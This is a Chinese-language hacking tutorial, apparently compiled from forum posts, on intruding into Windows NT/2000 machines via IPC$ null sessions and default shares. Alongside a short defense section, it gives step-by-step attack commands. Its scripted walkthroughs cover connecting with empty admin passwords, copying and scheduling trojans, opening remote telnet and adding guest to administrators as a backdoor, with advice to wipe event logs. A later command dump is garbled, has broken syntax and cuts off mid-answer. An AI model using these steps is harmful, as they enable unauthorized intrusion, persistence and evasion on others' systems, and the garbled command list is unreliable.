ipc$详细解释大全
一 前言 

网上关于ipc$入侵的文章可谓多如牛毛，而且也不乏优秀之作，攻击步骤甚至可以说已经成为经典的模式，因此也没人愿意再把这已经成为定式的东西拿出来摆弄。 
不过话虽这样说，但我个人认为这些文章讲解的并不详细，对于第一次接触ipc$的菜鸟来说，简单的罗列步骤并不能解答他们的种种迷惑（你随便找一个hack论坛搜一下ipc$，看看存在的疑惑有多少）。因此我参考了网上的一些资料，教程以及论坛帖子，写了这篇总结性质的文章，想把一些容易混淆，容易迷惑人的问题说清楚，让大家不要总徘徊在原地! 
注意：本文所讨论的各种情况均默认发生在win NT/2000环境下，win98将不在此次讨论之列，而鉴于win Xp在安全设置上有所提高，个别操作并不适用，有机会将单独讨论。 


二 什么是ipc$ 


IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT/2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(c$,d$,e$……)和系统目录winnt或windows(admin$)共享。所有的这些，微软的初衷都是为了方便管理员的管理，但在有意无意中，导致了系统安全性的降低。 
平时我们总能听到有人在说ipc$漏洞，ipc$漏洞，其实ipc$并不是一个真正意义上的漏洞,我想之所以有人这么说，一定是指微软自己安置的那个‘后门’：空会话（Null session）。那么什么是空会话呢？ 


三 什么是空会话 


在介绍空会话之前，我们有必要了解一下一个安全会话是如何建立的。 
在Windows NT 4.0中是使用挑战响应协议与远程机器建立一个会话的，建立成功的会话将成为一个安全隧道，建立双方通过它互通信息，这个过程的大致顺序如下： 
1）会话请求者（客户）向会话接收者（服务器）传送一个数据包，请求安全隧道的建立； 
2）服务器产生一个随机的64位数（实现挑战）传送回客户； 
3）客户取得这个由服务器产生的64位数，用试图建立会话的帐号的口令打乱它，将结果返回到服务器（实现响应）； 
4）服务器接受响应后发送给本地安全验证（LSA），LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确后，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。 
以上是一个安全会话建立的大致过程，那么空会话又如何呢？ 

空会话是在没有信任的情况下与服务器建立的会话（即未提供用户名与密码），但根据WIN2000的访问控制模型，空会话的建立同样需要提供一个令牌，可是空会话在建立过程中并没有经过用户信息的认证，所以这个令牌中不包含用户信息，因此，这个会话不能让系统间发送加密信息，但这并不表示空会话的令牌中不包含安全标识符SID（它标识了用户和所属组），对于一个空会话，LSA提供的令牌的SID是S-1-5-7，这就是空会话的SID，用户名是：ANONYMOUS LOGON（这个用户名是可以在用户列表中看到的，但是是不能在SAM数据库中找到，属于系统内置的帐号），这个访问令牌包含下面伪装的组： 
Everyone 
Network 
在安全策略的限制下，这个空会话将被授权访问到上面两个组有权访问到的一切信息。那么建立空会话到底可以作什么呢？ 


四 空会话可以做什么 


对于NT，在默认安全设置下，借助空连接可以列举目标主机上的用户和共享，访问everyone权限的共享，访问小部分注册表等，并没有什么太大的利用价值；对2000作用更小，因为在Windows 2000 和以后版本中默认只有管理员和备份操作员有权从网络访问到注册表，而且实现起来也不方便，需借助工具。从这些我们可以看到，这种非信任会话并没有多大的用处，但从一次完整的ipc$入侵来看，空会话是一个不可缺少的跳板，因为我们从它那里可以得到户列表，这对于一个老练的黑客已经足够了。以下是空会话中能够使用的具体命令： 


1 首先，我们先建立一个空会话（需要目标开放ipc$） 
命令：net use \\ip\ipc$ "" /user:"" 
注意：上面的命令包括四个空格，net与use中间有一个空格，use后面一个，密码左右各一个空格。 


2 查看远程主机的共享资源 
命令：net view \\IP 
解释：建立了空连接后，用此命令可以查看远程主机的共享资源，如果它开了共享，可以得到如下类似类似结果： 
在 \\*.*.*.*的共享资源 
资源共享名 类型 用途 注释 

----------------------------------------------------------- 
NETLOGON Disk Logon server share 
SYSVOL Disk Logon server share 
命令成功完成。 


3 查看远程主机的当前时间 
命令：net time \\IP 
解释：用此命令可以得到一个远程主机的当前时间。 


4 得到远程主机的NetBIOS用户名列表（需要打开自己的NBT） 
nbtstat -A IP 
用此命令可以得到一个远程主机的NetBIOS用户名列表（需要你的netbios支持），返回如下结果： 

Node IpAddress: [*.*.*.*] Scope Id: [] 

NetBIOS Remote Machine Name Table 

Name Type Status 
--------------------------------------------- 
SERVER <00> UNIQUE Registered 
OYAMANISHI-H <00> GROUP Registered 
OYAMANISHI-H <1C> GROUP Registered 
SERVER <20> UNIQUE Registered 
OYAMANISHI-H <1B> UNIQUE Registered 
OYAMANISHI-H <1E> GROUP Registered 
SERVER <03> UNIQUE Registered 
OYAMANISHI-H <1D> UNIQUE Registered 
..__MSBROWSE__.<01> GROUP Registered 
INet~Services <1C> GROUP Registered 
IS~SERVER......<00> UNIQUE Registered 

MAC Address = 00-50-8B-9A-2D-37 

以上就是我们经常使用空会话做的事情，好像也能获得不少东西哟，不过要注意一点：建立IPC$连接的操作会在EventLog中留下记录，不管你是否登录成功。 好了，那么下面我们就来看看ipc$所使用的端口是什么？ 


五 ipc$所使用的端口 


首先我们来了解一些基础知识： 
1 SMBServer Message Block) Windows协议族，用于文件打印共享的服务； 
2 NBTNETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）端口实现基于TCP/IP协议的NETBIOS网络互联。 
3 在WindowsNT中SMB基于NBT实现，而在Windows2000中，SMB除了基于NBT实现，还可以直接通过445端口实现。 

有了这些基础知识，我们就可以进一步来讨论访问网络共享对端口的选择了： 

对于win2000客户端来说： 
1 如果在允许NBT的情况下连接服务器时，客户端会同时尝试访问139和445端口，如果445端口有响应，那么就发送RST包给139端口断开连接，用455端口进行会话，当445端口无响应时，才使用139端口，如果两个端口都没有响应，则会话失败； 
2 如果在禁止NBT的情况下连接服务器时，那么客户端只会尝试访问445端口，如果445端口无响应，那么会话失败。由此可见，禁止了NBT后的win 2000对win NT的共享访问将会失败。 


对于win2000服务器端来说： 
1 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放； 
2 如果禁止NBT，那么只有445端口开放。 


我们建立的ipc$会话对端口的选择同样遵守以上原则。显而易见，如果远程服务器没有监听139或445端口，ipc$会话是无法建立的。 


六 ipc$连接在hack攻击中的意义 


就像上面所说的，即使你建立了一个空的连接，你也可以获得不少的信息（而这些信息往往是入侵中必不可少的），如果你能够以某一个具有一定权限的用户身份登陆的话，那么你就会得到相应的权限，显然，如果你以管理员身份登陆,嘿嘿,那你可就了不得了，基本上可以为所欲为了。不过你也不要高兴的太早，因为管理员的密码不是那么好搞到的，虽然会有一些粗心的管理员存在弱口令，但这毕竟是少数，而且现在不比从前了，随着人们安全意识的提高，管理员们也愈加小心了，得到管理员密码将会越来越难的，因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接，甚至在主机不开启ipc$共享时，你根本就无法连接，你会慢慢的发现ipc$连接并不是万能的，所以不要奢望每次连接都能成功，那是不现实的。 
是不是有些灰心？倒也不用,关键是我们要摆正心态，不要把ipc$入侵当作终极武器，不要认为它战无不胜,它只是很多入侵方法中的一种，你有可能利用它一击必杀，也有可能一无所获，这些都是正常的，在黑客的世界里，不是每条大路都能通往罗马，但总有一条路会通往罗马，耐心的寻找吧！ 


七 ipc$连接失败的常见原因 

以下是一些常见的导致ipc$连接失败的原因： 


1 IPC连接是Windows NT及以上系统中特有的功能，由于其需要用到Windows NT中很多DLL函数，所以不能在Windows 9.x/Me系统中运行，也就是说只有nt/2000/xp才可以相互建立ipc$连接，98/me是不能建立ipc$连接的； 


2 如果想成功的建立一个ipc$连接，就需要对方开启ipc$共享，即使是空连接也是这样，如果对方关闭了ipc$共享，你将会建立失败； 


3 你未启动Lanmanworkstation服务，它提供网络链结和通讯，没有它你无法发起连接请求（显示名为：Workstation）； 


4 对方未启动Lanmanserver服务，它提供了 RPC 支持、文件、打印以及命名管道共享，ipc$依赖于此服务，没有它远程主机将无法响应你的连接请求（显示名为：Server）； 


5 对方未启动NetLogon，它支持网络上计算机 pass-through 帐户登录身份； 


6 对方禁止了NBT（即未打开139端口）； 


7 对方防火墙屏蔽了139和445端口； 


8 你的用户名或者密码错误（显然空会话排除这种错误）； 


9 命令输入错误：可能多了或少了空格，当用户名和密码中不包含空格时两边的双引号可以省略，如果密码为空，可以直接输入两个引号""即可； 


10 如果在已经建立好连接的情况下对方重启计算机，那么ipc$连接将会自动断开，需要重新建立连接。 


另外,你也可以根据返回的错误号分析原因： 
错误号5，拒绝访问：很可能你使用的用户不是管理员权限的，先提升权限； 
错误号51，Windows无法找到网络路径：网络有问题； 
错误号53，找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）； 
错误号67，找不到网络名：你的lanmanworkstation服务未启动或者目标删除了ipc$； 
错误号1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个ipc$，请删除再连； 
错误号1326，未知的用户名或错误密码：原因很明显了； 
错误号1792，试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动； 
错误号2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。 


八 复制文件失败的原因 


有些朋友虽然成功的建立了ipc$连接，但在copy时却遇到了这样那样的麻烦，无法复制成功，那么导致复制失败的常见原因又有哪些呢？


 

 

1 盲目复制 
这类错误出现的最多，占到50%以上。许多朋友甚至都不知道对方是否有共享文件夹，就进行盲目复制，结果导致复制失败而且郁闷的很。因此我建议大家在进行复制之前务必用net view \\IP这个命令看一下对方的共享情况，不要认为ipc$连接建立成功了就一定有共享文件夹。 

2 默认共享判断错误 
这类错误也是大家经常犯的，主要有两个小方面： 

1）错误的认为能建立ipc$连接的主机就一定开启了默认共享，因而在建立完连接之后马上向admin$之类的默认共享复制文件，导致复制失败。ipc$连接成功只能说明对方打开了ipc$共享，ipc$共享与默认共享是两码事，ipc$共享是一个命名管道，并不是哪个实际的文件夹，而默认共享并不是ipc$共享的必要条件； 

2）由于net view \\IP 无法显示默认共享（因为默认共享带$），因此通过这个命令，我们并不能判断对方是否开启了默认共享，因此如果对方未开启默认共享，那么所有向默认共享进行的操作都不能成功；（不过大部分扫描软件在扫弱口令的同时，都能扫到默认共享目录，可以避免此类错误的发生） 

3用户权限不够，包括四种情形： 
1）空连接向所有共享（默认共享和普通共享）复制时，大多情况下权限是不够的； 
2）向默认共享复制时，要具有管理员权限； 
3）向普通共享复制时，要具有相应权限（即对方事先设定的访问权限）； 
4）对方可以通过防火墙或安全软件的设置，禁止外部访问共享； 

还需要说明一点：不要认为administrator就一定是管理员，管理员名称是可以改的。 


4被防火墙杀死或在局域网 
也许你的复制操作已经成功，但当远程运行时，被防火墙杀掉了，导致找不到文件；还有可能你把木马复制到了局域网内的主机，导致连接失败。因此建议你复制时要小心，否则就前功尽弃了。 


呵呵，大家也知道，ipc$连接在实际操作过程中会出现千奇百怪的问题，上面我所总结的只是一些常见错误，没说到的，只能让大家自己去体会了。 


九 如何打开目标的IPC$共享以及其他共享 


目标的ipc$不是轻易就能打开的，否则就要天下打乱了。你需要一个admin权限的shell,比如telnet,木马等，然后在shell下执行net share ipc$来开放目标的ipc$，用net share ipc$ /del来关闭共享。如果你要给它开共享文件夹，你可以用net share baby=c:\，这样就把它的c盘开为共享名为baby共享了。 


十 一些需要shell才能完成的命令 


看到很多教程这方面写的十分不准确，一些需要shell才能完成命令就简简单单的在ipc$连接下执行了，起了误导作用。那么下面我总结一下需要在shell才能完成的命令： 

1 向远程主机建立用户，激活用户，修改用户密码，加入管理组的操作需要在shell下完成； 

2 打开远程主机的ipc$共享，默认共享，普通共享的操作需要在shell下完成； 

3 运行/关闭远程主机的服务，需要在shell下完成； 

4 启动/杀掉远程主机的进程，也需要在shell下完成。 


十一 入侵中可能会用到的相关命令 


请注意命令适用于本地还是远程，如果适用于本地，你只能在获得远程主机的shell后，才能向远程主机执行。 

1 建立空连接: 
net use \\192.168.1.105\ipc$ "abc" /user:"abc" 

2 建立非空连接: 
net use \\192.168.1.105\ipc$ "abc" /user:"abc" 

3 查看远程主机的共享资源（但看不到默认共享） 
net view \\192.168.1.105 

4 查看本地主机的共享资源（可以看到本地的默认共享） 
net share 

5 得到远程主机的用户名列表 
nbtstat -A IP 

6 得到本地主机的用户列表 
net user 

7 查看远程主机的当前时间 
net time \\IP 

8 显示本地主机当前服务 
net start 

9 启动/关闭本地服务 
net start 服务名 /y 
net stop 服务名 /y 

10 映射远程共享: 
net use z: \\IP\baby 
此命令将共享名为baby的共享资源映射到z盘 

11 删除共享映射 
net use c: /del 删除映射的c盘，其他盘类推 
net use 192.168.1.105 /del /y删除全部 

12 向远程主机复制文件 
copy \D:\远程\远程\远程.exe \\192.168.1.105\常用软件，如： 
copy ccbirds.exe \\*.*.*.*\c 即将当前目录下的文件复制到对方c盘内 

13 远程添加计划任务 
at \\ip 时间 程序名，如： 
at \\127.0.0.0 11:00 love.exe 
注意：时间尽量使用24小时制；在系统默认搜索路径（比如system32/）下不用加路径，否则必须加全路径 


14 开启远程主机的telnet 
这里要用到一个小程序：opentelnet.exe，各大下载站点都有，而且还需要满足四个要求： 

1）目标开启了ipc$共享 
2）你要拥有管理员密码和帐号 
3）目标开启RemoteRegistry服务，用户就该ntlm认证 
4）对WIN2K/XP有效，NT未经测试 
命令格式：OpenTelnet.exe \\server account psw NTLM认证方式 port 
试例如下：c:\>OpenTelnet.exe \\*.*.*.* administrator "" 1 90 

15 激活用户/加入管理员组 
1 net uesr account /active:yes 
2 net localgroup administrators abc /add 

16 关闭远程主机的telnet 
同样需要一个小程序：ResumeTelnet.exe 
命令格式：ResumeTelnet.exe \\server account psw 
试例如下：c:\>ResumeTelnet.exe \\*.*.*.* administrator "" 

17 删除一个已建立的ipc$连接 
net use \\IP\ipc$ /del 


（本教程不定期更新，欲获得最新版本，请登陆官方网站：菜菜鸟社区原创http://ccbirds.yeah.net） 


十二 ipc$完整入侵步骤祥解 

其实入侵步骤随个人爱好有所不同，我就说一下常见的吧，呵呵，献丑了！ 

1 用扫描软件搜寻存在若口令的主机，比如流光，SSS，X-scan等，随你的便，然后锁定目标，如果扫到了管理员权限的口令，你可以进行下面的步骤了，假设你现在得到了administrator的密码为空 


2 此时您有两条路可以选择：要么给对方开telnet（命令行）,要么给它传木马（图形界面），那我们就先走telnet这条路吧 


3上面开telnet的命令没忘吧，要用到opentelnet这个小程序 
OpenTelnet.exe \\192.168.1.105 administrator "" 1 90 
如果返回如下信息 
******************************************************* 
Remote Telnet Configure, by refdom 
Email: refdom@263.net 
OpenTelnet.exe 

UsagepenTelnet.exe \\server username password NTLMAuthor telnetport 
******************************************************* 
Connecting \\192.168.21.*...Successfully! 

NOTICE!!!!!! 
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23 

Starting telnet service... 
telnet service is started successfully! telnet service is running! 

BINGLE!!!Yeah!! 
Telnet Port is 90. You can try:"telnet ip 90", to connect the server! 
Disconnecting server...Successfully! 
*说明你已经打开了一个端口90的telnet。 


4 现在我们telnet上去 
telnet 192.168.1.105 90 
如果成功，你将获得远程主机的一个shell,此时你可以像控制自己的机器一样控制你的肉鸡了，那么做点什么呢？把guest激活再加入管理组吧，就算留个后门了 


5 C:\>net user guest /active:yes 
*将Guest用户激活，也有可能人家的guest本来就试活的，你可以用net user guest看一下它的帐户启用的值是yes还是no 


6 C:\>net user guest 1234 
*将Guest的密码改为1234,或者改成你喜欢的密码 


7 C:\>net localgroup administrators guest /add 
*将Guest变为Administrator，这样，即使以后管理员更改了他的密码，我们也可以用guest登录了，不过也要提醒您，因为通过安全策略的设置，可以禁止guest等帐户的远程访问，呵呵，如果真是这样，那我们的后门也就白做了，愿上帝保佑Guest。 


8 好了，现在我们来走另一条路，给它传个木马玩玩 


9 首先，我们先建立起ipc$连接 
C:\>net use \\192.168.1.105\ipc$ "" /user:administrator 


10 既然要上传东西，就要先知道它开了什么共享 
C:\>net view \\192.168.1.105
在 \\192.168.21.*的共享资源 
资源共享名 类型 用途 注释 

----------------------------------------------------------- 
C Disk 
D Disk 
命令成功完成。 
*好了，我们看到对方共享了C,D两个盘，我们下面就可以向任意一个盘复制文件了。再次声明，因为用net view命令无法看到默认共享，因此通过上面返回的结果，我们并不能判断对方是否开启了默认共享。 


11 C:\>copy D:\远程\远程\远程.exe \\192.168.1.105\c 
已复制 1 个文件 
*用这个命令你可以将木马客户端love.exe传到对方的c盘下，当然，如果能复制到系统文件夹下是最好的了，不容易被发现 


12 运行木马前，我们先看看它现在的时间 
net time \\192.168.21.* 
\\192.168.21.*的当前时间是 2003/8/22 上午 11:00 
命令成功完成 


13 现在我们用at运行它吧，不过对方一定要开了Task Scheduler服务（允许程序在指定时间运行），否则就不行了 
C:\>at \\192.168.21.* 11:02 c:\love.exe 
新加了一项作业，其作业 ID = 1 


14 剩下就是等了，等过了11:02，你就可以用控制端去连接了，如果成功你将可以用图形界面去控制远程主机了，如果连接失败，那么它可能在局域网里，也可能程序被防火墙杀了，还可能它下线了（没这么巧吧），无论哪种情况你只好放弃了 


嗯，好了，两种基本方法都讲了。如果你对上面的操作已经轻车熟路了，也可以用更高效的套路，比如用CA克隆guest，用p***ec执行木马，用命令：p***ec \\tergetIP -u user -p paswd cmd.exe直接获得shell等，这些都是可以得，随你的便。不过最后不要忘了把日志清理干净，可以用榕哥的elsave.exe。 
讲了ipc$的入侵，就不能不说如何防范，那么具体要怎样做呢？看下面


 

 

十三 如何防范ipc$入侵 


1 禁止空连接进行枚举(此操作并不能阻止空连接的建立) 

方法1： 
运行regedit，找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：1 
如果设置为"1"，一个匿名用户仍然可以连接到IPC$共享，但限制通过这种连接得到列举SAM帐号和共享等信息；在Windows 2000 中增加了"2"，限制所有匿名访问除非特别授权，如果设置为2的话,可能会有一些其他问题发生，建议设置为1。如果上面所说的主键不存在，就新建一个再改键值。 

方法2： 
在本地安全设置－本地策略－安全选项－在'对匿名连接的额外限制'中做相应设置 


2 禁止默认共享 

1）察看本地共享资源 
运行-cmd-输入net share 

2）删除共享（重起后默认共享仍然存在） 
net share ipc$ /delete 
net share admin$ /delete 
net share c$ /delete 
net share d$ /delete（如果有e,f,……可以继续删除） 

3）停止server服务 
net stop server /y （重新启动后server服务会重新开启） 

4）禁止自动打开默认共享（此操作并未关闭ipc$共享） 
运行-regedit 

server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。 

pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。 
如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。这两个键值在默认情况下在主机上是不存在的，需要自己手动添加。 


3 关闭ipc$和默认共享依赖的服务erver服务 
控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-选已禁用 这时可能会有提示说：XXX服务也会关闭是否继续，因为还有些次要的服务要依赖于lanmanserver，不要管它。 


4 屏蔽139，445端口 
由于没有以上两个端口的支持，是无法建立ipc$的，因此屏蔽139，445端口同样可以阻止ipc$入侵。 

1）139端口可以通过禁止NBT来屏蔽 
本地连接－TCP/IT属性－高级－WINS－选‘禁用TCP/IT上的NETBIOS’一项 

2）445端口可以通过修改注册表来屏蔽 
添加一个键值 
Hive: HKEY_LOCAL_MACHINE 
Key: System\Controlset\Services\NetBT\Parameters 
Name: SMBDeviceEnabled 
Type: REG_DWORD 
Value: 0 
修改完后重启机器 

注意：如果屏蔽掉了以上两个端口，你将无法用ipc$入侵别人。 


3）安装防火墙进行端口过滤 


5 设置复杂密码，防止通过ipc$穷举出密码。 


十四 ipc$入侵问答精选 


上面说了一大堆的理论东西，但在实际中你会遇到各种各样的问题，因此为了给予大家最大的帮助，我看好几个安全论坛，找了n多的帖子，从中整理了一些有代表性的问答，其中的一些答案是我给出的，一些是论坛上的回复，如果有什么疏漏和错误，还请包涵。 


1.进行ipc$入侵的时候，会在服务器中留下记录，有什么办法可以不让服务器发现吗？ 

答：留下记录是一定的，你走后用程序删除就可以了，或者用肉鸡入侵。 


2.你看下面的情况是为什么，可以连接但不能复制 
net use \\***.***.***.***\ipc$ "密码" /user:"用户名" 
命令成功 
copy icmd.exe \\***.***.***.***\admin$ 
找不到网络路径 
命令不成功 

答：可能有两个原因： 
1）你的权限不够，不能访问默认共享； 

2）对方没有开启admin$默认共享，不要认为能进行ipc$连接，对方就一定开了默认共享（很多人都这么以为，误区！！），此时你可以试试别的默认共享或普通共享，比如c$,d$,c,d等，如果还是不行，就要看你的权限了，如果是管理员权限，你可以开telnet,如果能成功，在给它开共享也行。 


3.如果对方开了IPC$，且能建立空联接，但打开C、D盘时，都要求密码，我知道是空连接没有太多的权限，
nbtstat -a 192.168.1.103
net use [url=file://192.168.1.105/ipc$]IPipc$[/url] "" /user:""
net use \\192.168.1.104\ipc$ "" /user:"abc"
net use h: \\192.168.1.105\c$ 
net use \\192.168.1.104\ipc$ "" /user:"administrator" 建立IPC空链接 
net use \\192.168.1.103\ipc$ "abc" /user:"abc" 建立IPC非空链接 
net use h: 192.168.1.105c$ "abc" /user:"abc" 
直接登陆后映射对方C：到本地为H: 
net use h: \\192.168.1.105\c$ "" /user:"administrator" 
telnet 192.168.1.105
NET START 192.168.1.105 TELNET
net use h: \\192.168.1.105\d$ 登陆后映射对方C：到本地为H: 
net use \\192.168.1.103\ipc$ /del 删除IPC链接 
net use h: /del 删除映射对方到本地的为H:的映射 
net user 用户名　密码　/add 建立用户 
net user guest /active:yes 激活guest用户 
net user 查看有哪些用户 
net user 帐户名 查看帐户的属性 
mstsc /v: 192.168.1.105:8081 /console
net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 
net start 查看开启了哪些服务 
net start 服务名　 开启服务；(如:net start \\192.168.1.105\c$， net start schedule) 
net stop 服务名 停止某服务 
net time \\目标ip 查看对方时间 
net user \\192.168.1.105 abc /active:yes 
net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 
net view 查看本地局域网内开启了哪些共享 
net view \\ip 查看对方局域网内开启了哪些共享 
net config 显示系统网络设置 
net logoff 断开连接的共享 
net pause 服务名 暂停某服务 
net send ip "文本信息" 向对方发信息 
net ver 局域网内正在使用的网络连接类型和信息 
net share 查看本地开启的共享 
net share \\192.168.1.105\ipc$ 开启ipc$共享 
net share ipc$ /del 删除ipc$共享 
net share c$ /del 删除C：共享 
net user guest 12345 用guest用户登陆后用将密码改为12345 
net password 密码 更改系统登陆密码 
netstat -a 查看开启了哪些端口,常用netstat -an 
netstat -n 查看端口的网络连接情况，常用netstat -an 
netstat -v 查看正在进行的工作 
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） 
netstat -s 查看正在使用的所有协议使用情况 
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数："-w数字"用于设置超时间隔。 
ping 192.168.1.105(或域名) 向对方主机发送默认大小为32字节的数据，参数："-l[空格]数据包大小"；"-n发送数据次数"；"-t"指一直ping。 
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数"/all"显示全部配置信息 
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件，"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件

要建立远程IPC$连接必须具备以下条件：1、有超管的密码；2、远程机开启了Sever服务项，一般都开了，除非是高手知道多一点；3、了解以下Net Use之类的命令。先用X-scan扫一下哪些机子有ipc漏洞，或者超管密码为空的。比如得到IP 192.168.0.1.。先Ping一下，确保他在线。然后在Windows下的虚拟Dos下（即cmd)输入：
net use \\116.115.20.29\ipc$ "" /user:"adminstrator"
运行成功后可以通过本机的注册表或服务项远程连接，在第一个下拉菜单里有该命令。远程更改服务或注册表。也可以把肉鸡的共享盘影射到本机的我的电脑。
net use t:\\192.168.1.103\c$
完成后就可以在我的电脑里看到z盘符，即远程机的c盘。利用shanlu的入侵软件入侵（WINNTAutoAttack.exe）。经典IPC$入侵1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"这是用"流光"扫到的用户名是administrators，密码为"空"的IP地址(气好到家如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。2. C:\>copy srv.exe \\127.0.0.1\admin$先复制srv.exe上去，在流光的Tools目录下就有（这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了）。3. C:\>net time \\127.0.0.1查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。4. C:\>at \\127.0.0.1 11:05 srv.exe用at命令启动srv.exe吧（这里设置的时间要比主机时间快，不然你怎么启动啊.5. C:\>net time \\127.0.0.1再查查到时间没有？如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。6. C:\>telnet 127.0.0.1 99这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了7.C:\>copy ntlm.exe \\127.0.0.1\admin$用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。8. C:\WINNT\system32>ntlm输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组10. C:\>net user guest /active:yes将对方的Guest用户激活11. C:\>net user guest 1234将Guest的密码改为1234,或者你要设定的密码12. C:\>net localgroup administrators guest /add将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机一台计算机怎么能访问另一台计算机的所有资源？？？还有什么是远程协助啊？？？
悬赏分：0 - 解决时间：2006-3-28 20:30
提问者： wxy5174 - 试用期 一级
最佳答案
在黑客众多的入侵手段中，通过IPC$入侵成为目前比较常见的一种方式，其攻击步骤甚至可以说已经成为经典的入侵模式，许多朋友非常想搞清楚这是怎么回事。知己知彼，方能百战不殆，基于这种考虑，我们来了解一下这种入侵方式的基础知识。
IPC是Internet Process Connection的缩写，也就是远程网络连接。它是Windows NT/2000/XP特有的一项功能，就是在两个计算机进程之间建立通信连接。一些网络通信程序之间通信可以建立在IPC上面。打个比方，IPC连接就像是挖好的地道，程序可通过地道访问远程主机。默认情况下，IPC是共享的，也就是说微软已经为我们挖好了这个地道（IPC），因此，这种基于IPC的入侵也常常被简称为IPC入侵。
IPC后面的$是共享的意思，不过是隐藏的共享，微软系统中用“$”表示隐藏的共享，比如C$就是隐藏的共享C盘。也就是说C盘是共享的，但是C盘没有那个“托手”标志。IPC$是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。利用IPC$，连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码！当然对方机器必须打开IPC$共享，否则你是连接不上的。而利用这个空的连接，连接者还可以得到目标主机上的用户列表。
问：建立IPC连接需要什么条件？
答：建立IPC连接要求双方都是基于NT架构的系统。Windows Me/98/95都不可以。
问：怎么才能建立IPC连接呢？需要什么黑客工具呢？
答：建立IPC连接不需要任何黑客工具，在Windows里敲命令行就行了，但需要知道远程主机的用户名和密码。打开CMD后用如下命令：net use\\ip\ipc$ "password" /user:"username"进行连接。注意，如果远程服务器没有监听139或445端口，会话是无法建立的。也就是说IPC$需要对方开启139或445端口。
问：建立IPC$之后黑客能做什么？
答：如果黑客使用管理员权限的账号和目标连接IPC$，他就可以和对方系统做深入“交流”了。黑客可以使用各种命令行方式的工具，比如pstools系列、Win2000SrvReskit、telnethack等获得目标信息、管理目标的进程和服务等。如果目标开放了默认共享（没开的话，黑客会帮你开），黑客就可以上传木马并运行，也可以用tftp、ftp的办法上传，而dwrcc、VNC、RemoteAdmin等工具（木马）还具有直接控屏的功能，直接控制我们。如果是Win2000 server，黑客还会考虑开启终端服务以方便控制。
问：别人无法和自己建立IPC$是否意味着我就不能和对方建立IPC$呢？
答：不是的！发起IPC$和被建立IPC$是两个不同的概念。别人无法和自己建立IPC$并不影响自己是否能够和他人建立IPC$。
问：我听说有个空连接，这是怎么回事呢？
